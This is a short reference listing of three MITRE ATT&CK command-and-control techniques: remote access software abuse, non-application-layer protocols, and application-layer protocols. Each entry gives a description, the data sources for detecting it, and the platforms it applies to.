Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre